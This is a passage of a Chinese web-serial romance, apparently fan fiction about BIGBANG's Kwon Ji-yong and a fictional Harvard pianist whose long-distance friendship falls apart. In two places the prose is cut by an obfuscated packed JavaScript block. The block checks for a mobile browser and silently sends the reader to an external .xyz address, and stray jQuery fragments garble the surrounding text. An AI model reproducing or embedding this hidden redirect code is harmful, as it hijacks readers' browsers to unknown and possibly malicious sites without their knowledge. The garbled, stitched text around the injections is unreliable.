一边冷淡地推开,一边又用脆弱拉扯。 他在两种极端矛盾的状态中反复横跳,仿佛在下一盘毫无章法的棋,目的不是赢,而只是为了确认对手还在棋局对面,没有离开。 喜欢一个人,竟让他同时扮演着冷漠的疏离者和渴求关注的可怜虫。 真是糟糕透了啊。 * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197143|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然,校园时期的感情,大多数都不会跨过毕业即分道扬镳这道现实的大门。 李艺率看着聊天室里如今越来越敷衍,回复频次越来越慢的消息,难免复杂地这样想到。 她不是没有察觉到这段时间权至龙若即若离的游离感,哪怕是拿工作忙碌当作借口……但小权这家伙表现得未免也太刻意了点吧! 虽说在出国前她早就在心中做好了可能会面临失去这份特殊情感链接的准备,可真正面对这种逐渐疏远的趋势时,还是会忍不住感到失落。 就好像他们之间的那根线随时都会断掉,却又总是在快断的时候被轻轻拽住。 实在是太折磨人了! 李艺率忍不住对着具时望吐槽,演艺圈的诱惑还是太大了啊,竟然能把小权迷得晕头转向,连老大得消息都能彻底地忽略掉! 可具时望从来不是什么友善的解语花性格。 或者说,在他生前碰上李艺率的抱怨时或许会露出惯常的笑脸装模作样的安慰几句,但在他死后仿佛就彻底暴露了其恶劣的本性一般,不仅时常说些风凉话,还总是牵引着她往更深的负面情绪里去—— 活脱脱一副见不得人好的阴湿男鬼模样。 “说不定是故意的呢。” 具时望大半个身体靠在窗边,支着下巴看向她,脸上还挂着些意味不明的笑意,轻飘飘地扔下一句话。 “毕竟像我们艺率这样性格糟糕的孩子,会被人厌烦也是理所当然的事情吧?” 李艺率早已习惯他的刻薄,眼也不眨地便嗤笑反击:“既然像你这样性格糟糕的人我都能容忍,那就证明这个世界上根本就不存在什么交友底线。” 可惜,具时望并没有陷入自证陷阱里去,那张讨人厌的脸上依旧保持着似笑非笑的表情,自顾自轻佻地说了下去,语气中带着洞悉一切的笃定。 “艺率呀,现在的你这样尽力去维系一段血缘以外的感情,究竟是因为害怕孤独……还是想要证明自己也可以像一个正常人一样生活?” 说着,他慢慢走向她,靠近她,伸手触摸她—— 究竟是因为在某个特定的人离开以后感到寂寞,所以迫切地需要一个新目标来转移痛苦,完成情感戒断……还是说,这其实更像一种功能性的需求? 她所需要的或许并非某个具体的人,而是“需要某人”的这一行为本身。 就像是攥紧救命稻草一般,通过情感交换的方式,获取自己仍能进行社会连接的证明,模仿一个普通人生活的样本,以对抗被痛楚逐渐吞噬的自我认知。 具时望冰凉的手指其实并未真正触及她的皮肤,却在几乎要碰到的瞬间,让她猛地瑟缩了一下。 电视机屏幕在昏黄的灯光下不断变换着色彩。 信号仿佛忽然受到了无形的干扰,画面帧数极不稳定,频频闪烁间投下一道道扭曲跳动的影子,在房间里明明灭灭,弥漫出一种恍惚又叫她不安的氛围。 李艺率对上那双洞悉一切的眼睛。 在这样的注视下,心底仿佛有一块地方也跟着一同崩塌了。 * ……所以,他们之间究竟是怎么发展成如今这样的呢? 这是这段时间以来,权至龙一直反复思考,却始终找不到答案的问题。 起初,那根线是还在的。 李艺率会照常分享着生活琐事,只是渐渐地不再那样兴致勃勃,变得不再那么鲜活,那样事无巨细。 像是终于被什么看不见的东西慢慢抽干了热情,尽管她仍然关心他、对他偶尔的示弱和抱怨处处有回应,在他问起近期的身边见闻时她也仍然毫不吝啬地分享……可权至龙还是敏锐地察觉到,有什么东西正在悄然发生改变—— 聊天室里空白时间越来越长的记录就是最好的证据。 会为此感到难过吗?当然是有的。 可平心而论,此时让他更在意的情绪,反倒是‘另一只靴子终于落地’的确定感—— 看吧,果然会变成这样,距离和时间终究会冲淡一切,没有人是会永远停留在原地等待的。 这结果甚至是他之前潜意识里通过恶劣态度所‘期盼’的,仿佛印证了他对人际关系的悲观预期。 可当这种疏远真的如他所愿般发生以后,紧跟着便是一场从内部发生的巨大坍塌。 一种更汹涌的失望和难过猝不及防地将他淹没。 原本以为自己掌握着那根线的松紧,却发现对方早早安静地放下了线的另一端——而自己其实从未真正准备好面对这种告别。 不,甚至根本算不上什么告别。 那天他们只是如往常那样在两人空闲的时间里,在权至龙没有赶通告的那个晚上和李艺率休息日的清晨,进行了一次简短的越洋电话。 具体的谈话内容权至龙已经记不清了,这几乎让他怀疑是不是因为身体过于排斥那段记忆所以刻意选择遗忘。 大概是李艺率说了些“看你最近好忙,要注意休息,不要太辛苦”这样的话。明明听上去很贴心,不是吗? 可叫权至龙听来,却只感觉出一种疏离的、浮于表面的客套。 也不知道是哪一个字眼触动了他敏感的神经,他只记得他的语气生硬而恶劣,冲着听筒凶巴巴地发泄连日里焦躁的情绪——“你懂什么?我现在哪有资格停下来休息?少说这种话!” 电话那头的李艺率沉默了片刻,不,好像是沉默了很久,久到权至龙几乎以为信号中断了,最后还是靠着微弱的呼吸声才确定她依旧站在他对面那头……只是他们之间连接的那根线似乎在那一天断了。 她没有像记忆中那样发出娇滴滴又理直气壮的抱怨,也没有摆出一副老大训斥跟班的模样喊他区区小权,她只是在沉默过后,冷静地、声音轻缓地说道:“看来最近确实是忙到让你压力很大了,干脆趁着难得的休息日好好放松一下,早点睡吧。” 他注视着显示通话结束的界面,甚至来不及说一声抱歉,也记不清她在最后到底有没有说过再见……只是在那通电话挂断以后,他们之间就再没说过一句话。 手机屏幕上的最后一条信息还是在半个月以前。 艺人这个职业中的一部分收入,就包含了本人的隐私作为交换。 也不知道是被什么人泄露了他私人的电话号码,他被私生扰得不胜其烦,索性更换了新号码,当然也第一时间在NAVER TALK上告知了李艺率—— 聊天气泡旁边显示着已读的小字,却再没有新的消息涌入,那个来自大洋彼岸的号码,终究未曾再亮起过。 啊,还是被他给搞砸了啊。 一种浓重的无力感将他死死攫住。 深秋的寒风刮起一阵萧瑟的呜咽。 街道两旁的行道树早已褪去夏日的繁茂,枯黄的叶片蜷缩着,在枝头做着最后的挣扎,却仍抵不过风的催促,无声地铺满了人行道。 他恨这落叶,恨它们这样飘零堆积的姿态,更恨着不远处的那条河——它在秋日里显出冰冷的焦躁,水流东奔西逃,分叉成两条不再相遇的溪,只剩下别离。 权至龙从此恨上了秋天。 31.骗子 不对劲。 十分乃至十二分的不对劲。 姜大声睁着不大的小眼睛,又悄悄瞥了一眼下颌紧绷着的权至龙。 随着第三张单曲专的发布,组合的曝光度相较于出道初期的默默无闻有了明显提升,在完成了一系列打歌活动和综艺节目的密集刷脸后,成员们正式投入到正规专辑的前期录制准备工作中—— 也是直到这时,几人才后知后觉地从权至龙严厉到堪称斯巴达的态度中察觉出几分微妙来。 ……这种状态已经持续多久了? 本以为是因为专辑筹备的压力所致,可随着时间推进,权至龙身上那份紧绷感却未曾削减分毫。 说起来……好像在筹备专辑以前就已经开始有些不对劲了。 这样强烈的反差倒不是意味着权至龙平时一直是个和风细雨的好人形象。 虽然看上去确实很能与同龄人打成一片也没什么架子,但实际上在成员们跟前,权至龙向来保持着恰到好处的队长威严。 或许是在出道以前就被其砂纸一样的性格所震慑,出于某种类似血脉压制的本能,成员们其实在私底下不太敢对板着脸的权至龙嘻嘻哈哈。 可如今细细品来,权至龙身上这种微妙落差感好像是从一个多月前的某个时间节点突然开始的……虽然那会儿的他在表面上还是和平常一样的情绪管理,但总让人很容易感觉到好像缺了点什么,以至于产生了极为强烈的割裂感。 啊,他知道了,好像是突然从某一天开始,他们队长就不再刻意讨论起某些话题了。 想到这里,姜大声才后知后觉地回过味。 是的,作为同吃同住的团队成员,他们之间的交流自然是少不了。 而在权至龙嘴里,出现频率最高的自然是某个女生的名字。 比如说在打歌活动的间隙,权至龙会抱着手机露出微妙到让人牙龈发痒的笑容,再跟着用胳膊肘捅捅团队里另外一位倒霉的哥哥,嘴里嘀嘀咕咕说上半天,根据口型来看隐约是一个熟悉的名字,然后换来对方一个白眼差点翻到天上的无语表情。 又比如说在深夜电台录制结束后,他们饥肠辘辘地坐在饭桌前解决那份将一日三餐浓缩成一顿分不清是晚餐还是夜宵的餐点时,权至龙会一手拿着筷子,一只手抱着手机悠悠感叹一句“哎古波士顿的天气真好啊,这阳光看着就很暖和”。之后再扫视一圈餐桌,见0人接话,又自顾自地露出牙龈笑得超绝刻意,“欸?你们问我是怎么知道的?那当然是我最好的亲故刚刚又传照片给我啦”,仿佛是一句不经意的随口闲聊,说完便又乐呵呵地低头继续扒饭。 ……哥,你这行为真的有点太刻意了。 而身为家里有个在SKY就读、高材生姐姐的姜大声,也曾经被权至龙舞到脸上过。 说实话,在当时的闲聊中,姜大声谈起家里二姐是高材生时的确是抱着某种隐蔽炫耀的心态,毕竟那可是全国每年录取率不到3%的高丽大啊! 结果当时权至龙的反应是什么来着?他先是装作吃惊的样子瞪大眼睛,随即用一种过分真诚的语气感叹:“哇,那可真是优秀!” 紧接着又超绝不经意地提起自己的好朋友也是一位名校高材生,还歪着头一脸似笑非笑地问他:“你猜猜她读的是哪一所大学?” “…………”说真的,其实他也没那么想知道,但为了不忤逆哥哥的面子,姜大声只好露出憨厚的笑脸配合,“是首尔大吗?” 权至龙听到这个答案后,轻轻挑了挑眉,嘴角扬起一个略带神秘的弧度,“嗯……再往大点猜,比首尔大还要厉害很多。” 姜大声:“…………”都说了他没那么想知道了! 在心里悄悄翻了个白眼,他才像是报菜名一样罗列出一连串名校,“剑桥?耶鲁?……哈佛?” 权至龙接连摇头,直到听到“哈佛”两个字时,才像是终于等到鱼上钩的钓鱼佬,露出一个意味深长的笑容:“哦马甲!是目前世界上排名第一的大学呢!” 这么说着,权至龙还得意地抖了抖翘着的二郎腿,摇头感叹道:“哎一古,我们艺率真的很优秀啊!” 当时的姜大声差点没能及时管理好表情,而某位深受其害早已习惯的哥哥只是默不作声地翻了个白眼,对着姜大声做了一个口型,明着蛐蛐权至龙的超绝不经意。 ……啊,这么算起来,权至龙已经有快两个月没有提起过他的那位“最好的朋友”了。 想到这里,姜大声戳了戳忙内,用眼神示意他去做第一个趟雷的人。 忙内:“…………” 饶是人精如忙内,也免不了要适应长幼年序这一套,只好悄悄叹口气硬着头皮开口问道:“哥,最近是心情不太好吗?” “没有,”权至龙回答得干脆利落,如果忽略那张紧绷着的侧脸和瞬间垂下来的睫毛的话。 他低头整理着歌词本,手指无意识地摩挲着纸页边缘,语气轻描淡写得几乎有些冷淡,“你们与其花心思在这里揣测我的心情如何,不如多想想该怎么把歌录好。” 众人:“…………” 看来这位哥的心情是真的非常糟糕了。 * 年底的时候bigbang的首张正规专辑发布,并在歌谣大战的年末舞台上收获了最佳新人奖,算是为这一年画上了一个还算圆满的句号。 有关他们的part采用的是预录制形式。 权至龙站在提前被布置得流光溢彩的舞台中央,手中握着还泛着金属冷光的奖杯。台下是汹涌的人潮,各色荧光棒与气球如星河晃动,各家歌迷粉丝配合的欢呼声几乎掀翻顶棚。 他微微鞠躬,脸上是训练有素的微笑,语气谦逊地说着“我们会更加努力”——一切都恰到好处,无可指摘。 但思绪却不受控制地飘回了两年前的那个夜晚。 那时的他站在地下剧场的舞台中央,台下空旷,灯光被记忆模糊得稀疏,几乎照不清观众的脸——事实上,台下也根本没有所谓观众。 只有李艺率一个人站在最前排的阴影里,被舞台边缘的逆光勾勒出纤细的剪影。 她仰着头,安安静静地望着他。 没有气球,没有荧光棒,可她的眼神却亮得惊人,像盛着一整片未被污染的星空,专注地、完整地,只落在他一个人身上。 如今,他站在被无数练习生渴望的盛大舞台之上,奖杯在手,呼声如潮,光芒刺眼。 可这光芒却不再能完整地照亮他忽然塌陷的内心。 骗子。 他看着台下的万千星光,轻描淡写地想到。 说好了会一直看着我,说好了会怀着感激的心一直为我应援的。 骗子。 * 就算没有李艺率,他也照样能往前走。 这是这段时间以来,权至龙在心里反复在心里对自己说的话。 他交到了一些很不错的朋友。 打歌舞台候场时偶然的寒暄,新的名字新的脸,他笑着打招呼,躲避着对方经纪人的严防死守,偷偷塞纸条交换联系方式,从容轻巧得像从未被什么击中过软肋。 他主动约新朋友出来见面,用做作浮夸的表情将话题填满,又看着对方盛满笑意的眼睛。 真奇怪,明明是长着像小猫一样的脸, 笑起来却又露出小兔一样的牙齿。 他在心里这样想着,还是要像小猫更好些啊。 * 新年的时候李艺率和哥哥飞到了位于新泽西州的银河电子美国总部,陪某位孤寡老父亲(艺率语)度过了一个不错的新年。 李在叙和艺率爷爷的关系并不算好,老爷子近几年行事愈发荒唐,加上她儿时住在老宅里颇受了些委屈,因此这几年李在叙干脆切断了那边和艺率的联系,每逢年节、生日这样重要的日子总是以学业和健康这样的理由推辞过去。 由此可见,李艺率记仇性格的根源究竟是遗传自哪里。 新泽西的雪下得绵密,她回到家的时候羽绒服上沾着细碎的雪粒,客厅里恰巧坐着一位意外的客人。 “姑姑!” 李艺率匆匆脱下外套递给住家,欢呼一声冲进客厅,一把搂住了李馥真的胳膊,大半个身体黏在她的身上,亲昵地蹭了蹭。 巧了,李馥真和艺率爷爷的关系也算不上好,因此新年刚过便直接打着看望侄子侄女的名义,丝毫不顾及老爷子铁青的脸色和艺率叔叔的欲言又止,径自飞来了美国。 李馥真轻轻拍了拍她的背,又笑着将她发间的雪粒揉散,眼底泛起温柔的光。 直到姑侄俩的亲昵叙话告一段落,李在叙才出声制止:“李艺率,你的规矩呢?” 嘁。 李艺率撇撇嘴,默默松开黏在姑姑身上的胳膊,坐直了身体。 李馥真这趟过来虽然打着看望子侄的旗号,但倒也未必是单纯为了叙旧。 听着身边的工作狂兄妹聊了许久工作,李艺率的眼皮越来越重,意识逐渐模糊,耳边的声音逐渐迷离得像是从很远的地方传来。 自从来到美国以后,为李艺率服务的医疗团队便跟着做了调整,除了主攻神经康复的疼痛学大拿史提尔医生以外,专门做心理辅导的咨询师也换成了朴贞淑在美国攻读PHD的师兄。 现阶段的康复训练已经进行到了第三个阶段,但也不知道是出于什么原因,在韩国本来已经早早停止的磁脉冲治疗如今又被纳入了疗程。 每次治疗过后,她总是这样很容易疲惫。 李艺率努力想要保持清醒,却仍敌不过身体的抗拒,脑袋一点一点地垂下,最终靠在了李馥真的肩上。 “啊,睡着了呢。”李馥真侧过头看了她一眼,轻声笑了笑,却没有惊动她。 李在叙在心里轻轻叹了口气,目光在女儿仍有些稚气的睡颜上停留片刻,随后转向了窗外纷纷扬扬的雪花,声音轻缓,“都会这样的。” 闻言,李馥真眉间微蹙,有些踌躇地问道:“欧巴,我听说电击治疗会对记忆和认知造成影响。艺率她……?” 李在叙含糊地应了一声,接着又道:“磁脉冲电击没到那种严重的程度。” 窗外的雪下得更大了,无声地覆盖着庭院里的枯草与常青树梢。 远处的街灯在纷飞的雪幕中晕开一团团朦胧的光晕,整个世界仿佛被裹进一层厚厚的、安静的绒毯里。室内暖气开得足,玻璃窗上凝了一层薄薄的水雾,将窗外的景致氤氲成一片模糊而柔软的白色。 橙黄色的光晕温柔地涂抹在李艺率熟睡的侧脸上。 * 醒来时已经是第二天了。 李艺率穿着睡衣坐在床上,身上是还未散尽的暖意。 窗帘缝隙间透进的晨光在地板上画出细长的金色线条,她揉了揉有些酸胀的太阳穴,怔怔地看着地上跳跃的光线,随后掀开被子跑下楼。 “姑姑!” 果不其然,在饭厅的餐桌上看到了正拿着报纸悠闲喝咖啡的李馥真。 李艺率欢呼一声,显然十分兴奋。 她依恋地抱着李馥真的手,脸颊贴着她的肩膀,眼睛亮晶晶的,“我早上醒来也不知道是为什么,心里一直想着你呢!结果跑到楼下一看……哇!你果然在!” 她的声音里有掩饰不住的雀跃,继而又拖长声音撒娇道:“你什么时候来的呀?怎么不提前告诉我!” 李馥真放下报纸看着软乎乎撒娇的侄女,笑道:“昨天夜里的飞机,刚到没一会。” “怎么这么赶!那姑姑你累不累啊?” 闻言,李馥真拨开李艺率额间的碎发,指尖轻轻拂过她微凉的耳垂,语气柔和,“不累。姑姑想着给你一个惊喜呢,要让我们艺率早上一睁开眼睛就能看到我才行。” 那真的是非常惊喜了! 作为成长过程中唯一亲近的女性长辈,李艺率和这位姑姑的关系十分要好。上大学以来已经有小半年时间没见,此时自然是黏在她身边不肯撒手。 看着她笑嘻嘻的模样,李馥真轻轻拍了拍她的背,语气亲切又宠溺,“去洗漱吃饭吧,你爸爸今天有事要忙,把你交给我了,待会姑姑带你出去玩。” “嗯!” * 短暂的新年假期过后,权至龙继续为去年年底发布的正规专辑进行着繁忙的宣传活动,同时公司也着手推进下一次回归的企划。 这一次的回归安排非常紧凑,梁锡硕提出了发布迷你专辑的概念,意图以更精炼且不失专业性的作品为正规二辑的发行提前铺路。[1] 此前的正规一辑中就已收录了许多由权至龙参与创作的歌曲,这不仅为他奠定了“偶像制作人”的基石,也让梁锡硕有意进一步打磨他在制作方面的才能,以“自给自足型偶像”的模式强化组合的独特性。因此,在这次迷你专辑的创作中,权至龙被赋予了更重的任务。 这段时间他白天几乎完全泡在工作室里,而等夜里回到宿舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205425|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他也并未真正闲下来。 梁锡硕之前已隐约提过组合成员后续的solo规划,因此这段时间,权至龙的脑子始终没有停下运转。 即便身体已陷进宿舍房间里的那把转椅上,他的思绪仍穿梭于旋律与歌词之间。 整个城市正浸在一场冷雨里,细密的雨丝无声地冲刷着玻璃,将窗外固执的路灯晕染成一片氤氲的光海。 室内只有一盏桌灯在雨夜里撑开一团暖黄的光晕,圈住桌上一沓散乱的谱纸、一支铅笔、和一本被多次翻折,看上去有些潦草的笔记本。 哪怕是已经出道成为艺人,权至龙也足够念旧地仍然保持着学生时代使用的那种笔记本记录歌词的习惯。 对,就是被李艺率吐槽过像是日记本一样的那种。 甚至在这之后的有一次,因为他惹得李艺率生气,被对方飞扬着五官阴阳怪气的默读诸如“像浪花一般支离破碎的心,像烟雾般消散的爱情”等等歌词,这种不亚于被人当众念日记的羞耻感让他至今回想起来还会不自觉地手脚蜷缩。 但那时巨大的尴尬,放到此时回味,竟也带着一丝叫人苦涩的甜意。 权至龙怔怔地看向窗外,屈起指节,无意识地轻敲桌面,发出几不可闻的嗒、嗒声。随后他扑哧一声笑了出来,有些懊恼地自言自语:“啊……这都过去多久了,为什么现在还会想起这些啊。” 雨声并不喧哗,只是一种持续不断的、沙沙的白噪音,偶尔有车轮碾过湿滑路面的声音从远处沉闷地传来,将他脑海里那些尚未衔接成型的旋律碎片切割得支离破碎。 现在细细算起来,他好像还是在为他们之间尚未完成的告别而感到遗憾。 权至龙没有去想歌词,旋律,甚至什么复杂的感情。 他只是在心里回顾那个秋天,笔尖就唰唰划过纸面,记下突兀跳出的词句,自然而然就写了出来。 ‘下定决心说没有你也能好好生活可好像还是做不掉’ ‘莫名其妙的发火,你也觉得我疯了吧?对不起’ ‘我带给你的伤口愈合了吗?对不起好像什么都不能为你做’ ‘就带走那些美好的回忆吧’ ‘希望你像天空般纯净浮云般轻盈,以后依旧微笑着幸福’ ‘…………’ 这好像不是他去写下歌词,完成了它们,而是它们拥抱着朝他走来。 整座城市在雨中呼吸、闪烁,而他在这一隅光亮里,追逐着只有他能听见的节奏。 黑暗当中似乎有阴影蠕动,情绪好像暗沉的海浪,低语着要将他吞没,却无法阻止一个从来都心甘情愿走向深渊的人。 * 地板是湿润的。 权至龙从床上下来,赤着脚踩在地上。下过雨的夜里起雾了。 成员们在各自的房间里沉睡。自从搬到宿舍以后,权至龙在成员间的彼此磨合中开始逐渐适应集体生活,因此在这样熟睡的夜里,他必须小心翼翼地保持安静。 他一只手拿着水杯,一直手拿着手机漫不经心地翻看信息,用屏幕微弱的亮光充当照明。 几个小时前他的那位朋友给他发了信息: [欧巴,这几天有空吗?一起出去玩吧。] 这还是对方第一次主动给他发邀约短信。 他愣了一下,心里却泛起一丝异样的情绪,其实他也说不好这段时间的赌气是不是在莫名其妙地跟空气暗暗较劲。 心里正考虑着要怎样回复,手指却悬停在键盘上迟迟无法按下。 过了好久,他才缓缓转过身,视线看向从客厅窗前投下的浅淡光影。 随即赤/裸的脚踝好像被什么冰凉的活物缠住了一般,叫权至龙顿时清醒过来,僵硬在原地。 那轮冰冷的月亮隐在雾霭之后,泛着朦胧的银灰色光晕,确确实实地悬挂在天上,好像是睁开眼睛一样静静地凝视着他。 心脏抽搐一样地疼,他倒吸一口凉气,整个人被凝固在粘稠的月色里。 呼吸变得沉重而缓慢,像是有液体一点点从脚面上没过,涨潮一般一点点淹上来。 他喘不上气,溺水一样地窒息。 整个世界彻底被寂静的月光吞没,他落进一张网里。 是柔软的网,缠住了他的四肢。 而他就像是被捕捉的活物一般,甚至连用手指回复信息的挣扎都做不到,抗拒的力气也在徒劳中一点点被抽离,只剩下一具空荡的躯壳和一双凝望月亮的眼睛。 也不知道过了多久,权至龙又摁亮了早已熄屏的手机,一字一顿打下回复: [抱歉,最近在忙新专辑的筹备制作。] * 三月时迷你一辑的初期录制终于结束,权至龙也终于可以逃离录音室,从连轴转的忙碌中短暂地喘过一口气。 接下来有将近大半个月的休息时间。 他回到宿舍,脱掉外套几乎是凭着本能摸到床边,将自己重重摔进床上,连洗漱都来不及,便瞬间被深不见底的睡意彻底吞没。 这一觉睡得昏天黑地,不知昼夜。 直到某个深夜,枕边的手机固执地震动起来,嗡鸣声像一根细针,刺破他厚重的睡眠。 他眼皮重得几乎抬不起来,只下意识摸索着接通,含糊地接通。 “哟啵塞哟?” 听筒里一片寂静,只有细微的电流声咝咝作响,仿佛另一头连接着一片空旷的夜。 他等了几秒,睡意朦胧间几乎要以为是谁的恶作剧或是信号故障,不耐烦地正要挂断—— 某种奇异的直觉却让他心跳猛地漏了半拍。 他猛地睁开眼,彻底清醒过来,屏住呼吸将手机从耳边拿到眼前。 屏幕幽幽的光亮刺得他眼睛微痛,上面清晰地显示着一串他未曾存入通讯录的号码。 那串与国内号码格式有明显差异的数字灼烧着他的视线。 权至龙的手指轻轻颤抖,像是触碰到什么烫手的物件一般,喉咙发紧,一时竟失了声。 那头的沉默依旧持续着,只能听见她轻缓的呼吸,跨越一万多公里,落进他寂静的夜里。 过了他好久才找回自己的声音,语气轻柔又带着些许沙哑: “艺率呀,是发生什么事了吗?” 就像是触动了什么开关,那头的呼吸忽然急促了起来,仿佛压抑了许久的情绪终于决堤一般,他听到她略带沙哑的声音从很远的地方浮上来: “骗子。” 32.糖渍樱桃(上) 在两人失联的这段时间里,对比首尔那头的阴雨绵绵,剑桥市这头却是出奇的晴空万里。 秋高气爽,阳光慷慨地洒满查尔斯河面,碎金般跳跃,衬得沿岸的枫叶愈发红得灼眼。这样的好天气,连带着人的心情似乎也很难持续低沉下去。 甚至让李艺率自己也开始怀疑起自己是不是有点太没心没肺了。 失落?难过? 当然有。 李艺率从不否认这一点。 当她盯着NAVER TALK里那个沉寂的窗口,或者想起那通戛然而止、充满火药味的越洋电话时,心里的确会漫上一股闷闷的情绪,像被什么东西轻轻攥了一下,不太疼,但存在感鲜明。 可当手机屏幕因为长久时间没唤醒而屏幕自动熄灭,倒映出窗外一片明晃晃的蓝天和她自己微微蹙眉的脸时,她好像又觉得再去深究他为什么忽然这样冷淡,又为什么会对她发脾气这些细枝末节,已经没什么意义了。 毕竟李艺率已经决定了要和她目前唯一的好朋友绝交。 权至龙给她发换号码信息的那一天她恰巧和小组同学在咖啡厅里讨论课题。 咖啡馆里播放着轻柔的爵士乐,空气里弥漫着烘焙豆子的香气,阳光透过巨大的落地窗,在木质桌面上投下温暖的光斑。 李艺率坐在靠窗的位置,面前摊开着笔记本和几本厚厚的参考书,耳边是小组同学关于课题设计的热烈讨论。 手机微弱的震动就是在这个时候响起的—— NAVER TALK有一条新的信息,发信人赫然是某个沉寂许久的名字。 [艺率呀,我换新的号码了,你存一下~] [最近也不知道是谁泄露了我的私人号码,被私生给缠上了TT] 她盯着屏幕上那两行字,指尖悬在半空,一时间竟有些恍惚。阳光将手机屏幕映得有些反光,那些字句却清晰得刺眼。 嘁。 李艺率轻哧一声。 这算什么? 语气熟稔又自然,甚至还带着点他惯常会有委屈和软弱,在她独自消化了那份突如其来的冷漠和指责之后,又这样轻飘飘地、若无其事地冒了出来,递上一句关于日常烦恼的、轻描淡写的抱怨。 沙哑慵懒的蓝调女声、咖啡浓郁的香气、小组同学压低声音的讨论……周围的一切都真实而温暖,反而衬得手机屏幕里那个来自首尔的信息,像个蹩脚而又不合时宜的幻觉。 一股荒谬感油然而生。 在李艺率看来,无论是哪一种感情,都是由时间和付出堆砌积累而成的。 既然权至龙忙到无法付出时间和她维系这份友谊,既然大西洋底下的光缆已经被深海里的怪物给咬断了,让她的信息总是无法准时传递不到对岸,那么她就不要再继续陷在这种情绪的泥潭里。 就像在她小时候有一次哭闹着向父亲索要东西时,李在叙那句平静而又郑重的宣告: 我的艺率,比这世界上任何可以衡量价值的东西都要珍贵。当你想要的东西不再带给你快乐,反而开始消耗你的情绪时,它就已经不再配被你拥有了。 想到这里,李艺率扯扯嘴角在心里轻哼一声,刚刚那个波澜仿佛从未发生过,随手将手机丢进包里,继而和同学打了声招呼,自顾自地到吧台点餐。 黑森林蛋糕是源自德国黑森林地区的传统甜点,以微苦的巧克力胚、轻盈的鲜奶油、浸满樱桃白兰地的酒渍樱桃形成层次分明的复合风味。 作为一名需要长期控制饮食和生活习惯的病人,这款含酒精的甜品本不该出现在她的食谱里。 但是今天她和最好的朋友绝交了欸! 做一个叛逆的尝试,买醉一下不是很正常吗? 叉子切下蛋糕一角,奶油和巧克力碎屑落在盘子上,甜腻与苦涩交织,轻盈感混合着浓重的酒味在舌尖绽开。 “Lee,蛋糕顶上的小樱桃你不喜欢吃吗?”同学指着被她摘下来、孤零零搁在白色骨瓷托盘边缘的那颗黑樱桃问道。 那颗樱桃静静地躺在那里,饱满的深紫色果皮上还沾着些许亮晶晶的糖浆和细碎的巧克力屑,像一颗被遗弃的、过分甜腻的珠宝。 它曾经是这块蛋糕最完美的点缀,是视觉的焦点,此刻却被单独剥离,显得突兀而多余。 “太甜了,”她含糊地评价道,语气轻描淡写,“他家用的是糖渍樱桃而不是鲜樱桃,我不喜欢。” 同学:“……明明蛋糕胚夹层里面的酒渍樱桃也很甜吧?” 李艺率:“嗯,但是我有剔除不喜欢部分的权利啊。” 不过是蛋糕上少了一颗樱桃罢了,对整体风味而言根本无关紧要,她可是能拥有一整间甜品店的人,才不会被一颗樱桃而绊住脚步呢! * 过完新年以后,李艺率的情绪就已经被妥帖地收拢起来,她的生活重心早已清晰地转向了下一个目标——二月底即将在波士顿举办的范赛。 器乐演奏需要扎实的基本功,因此需要演奏者每天投入大量的时间精力练习,仔细打磨每一个音符,每一次触键。 从那次校庆舞台坦诚了自己的内心以后,这两年来李艺率每天都会雷打不动地在琴房里度过至少五六个小时。 时间和疼痛不会辜负任何一个人。 尽管练到龇牙咧嘴,但一想到老头子和伯德伦纳教授那两张放在一起的皱巴巴的脸,李艺率还是硬着头皮坚持了下来。 在苦中作乐的间隙,她倒是摇头晃脑装作很有些世故深沉的模样自言自语感叹:究竟要到什么时候大家才能意识到,期待这件事压根就不是爱,而是暴力啊!! 时间就在这样的紧赶慢赶的节奏中推进,李艺率也顺利通过四分之一决赛,再次来到了波士顿交响音乐厅的后台候场准备半决赛。 范赛被称为钢琴界的奥林匹克,赛程分为多个阶段,历时近一个月。 漫长繁杂的赛程和残酷激烈的竞争足以让任何一位优秀的年轻演奏者倍感压力。 起初是严格的甄选轮,来自世界各地的参赛者提交演奏录像,再由评委筛选出最优秀的三十名选手受邀前往波士顿参加现场比赛,这本身就是一道极高的门槛。 波士顿的赛程共分为四个阶段,其中初赛和四分之一决赛李艺率过得很轻松,赛后回味起来时除了对自己技术的认可以外好像没什么值得复盘的细节。 后续的半决赛和决赛是比较关键的重头戏。 杀入半决赛的十二名选手将分成三天进行比赛,需要完成60分钟以上的钢琴独奏,极其考验选手的耐力、艺术表现力和作品深度。 等到了决赛……就是整场赛事中最令人瞩目的环节——与波士顿交响乐团合作完成整场协奏曲音乐会,顺便一提,范赛的决赛是全程由电视直播的,其影响力算得上是每四年一次的全球古典乐爱好者的狂欢。 李艺率坐在后台的化妆室里戴着耳机听着起了节拍器有规律的滴答声录音,心里只剩下平静。 另外两位和她同一组出场的选手,身边如同众星捧月般围着家人老师,甚至其中还有一名女生请了专业的化妆师为她服务。 这名女生李艺率有印象,在四分之一决赛时她们就在同一组,当时她在后台候场时也是这样众星捧月,任由老师家人们围着她忙前忙后帮忙加油调整状态,嘴里还不时喊着:Oh,我的Stella,你是最棒的小星星!…… 身后突然传来一个声音。 明明戴着降噪耳机,具时望那讨人厌的腔调还是钻进了耳朵里,“哦莫,只有我们艺率一个人孤零零的呢,好可怜~” 嘁,有什么好可怜的,李艺率悄悄在心底翻了一个白眼。 